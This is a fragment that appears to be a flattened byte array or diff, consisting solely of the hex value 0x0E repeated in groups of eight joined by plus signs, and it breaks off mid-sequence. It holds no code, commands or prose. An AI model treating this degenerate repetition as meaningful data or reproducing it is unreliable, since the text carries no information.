0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 